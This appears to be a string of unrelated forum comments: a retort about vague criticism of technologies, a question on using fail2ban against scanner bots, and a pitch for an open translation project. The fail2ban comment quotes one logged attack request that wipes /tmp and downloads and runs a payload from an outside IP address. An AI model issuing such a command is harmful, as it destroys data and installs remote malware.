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But once something gets significantly complex, <insert name of literally any tech you're incompetent in> starts to fall down.

Vague arguments like this are categorically useless.

Fail2ban is theater on a properly configured server

How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?

I see a variety of weird requests made to my http server. A sample:

`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`

Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?

I was internationalising a web extension that I had made, and it wasn't easy. For a single term, Google translate returns all possible translations of a word and then it gets hard to choose which translation best fits our required context.

For example, the word "Save" is used for saving a file or some data. But it also has other meanings depending on the context. Then it gets hard to choose which translation suits our use case.

With Open Translation, I want to make i18n easy by listing accurate and verified translations for commonly used phrases and terms in software, such as error messages, buttons, labels, etc.